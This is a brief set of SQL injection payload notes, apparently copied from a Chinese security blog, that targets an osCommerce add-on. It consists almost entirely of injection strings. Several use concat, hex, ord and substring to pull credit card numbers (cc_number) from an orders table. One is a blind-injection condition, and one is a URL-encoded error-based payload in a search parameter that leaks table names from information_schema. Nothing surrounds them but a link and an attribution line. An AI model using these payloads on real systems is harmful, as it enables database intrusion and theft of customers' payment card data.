concat(0x7C, hex(cc_number), 0x7C)
concat(0x7C, ord(substring('11',1,1)), 0x7C)
 
concat(0x7C,hex(cc_number),0x7C)
 
concat(0x7C, ord(substring(cc_number,3,1)), 0x7C)
 
加where条件
 
and(select%20ord(substring(cc_number,%201,%201))%20from%20orders)=0
 
http://addons.oscommerce.com/info/5364
 
search=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select

%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where

%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from

%20information_schema.tables%20group%20by%20x)a)%23
 
摘自cnbird's blog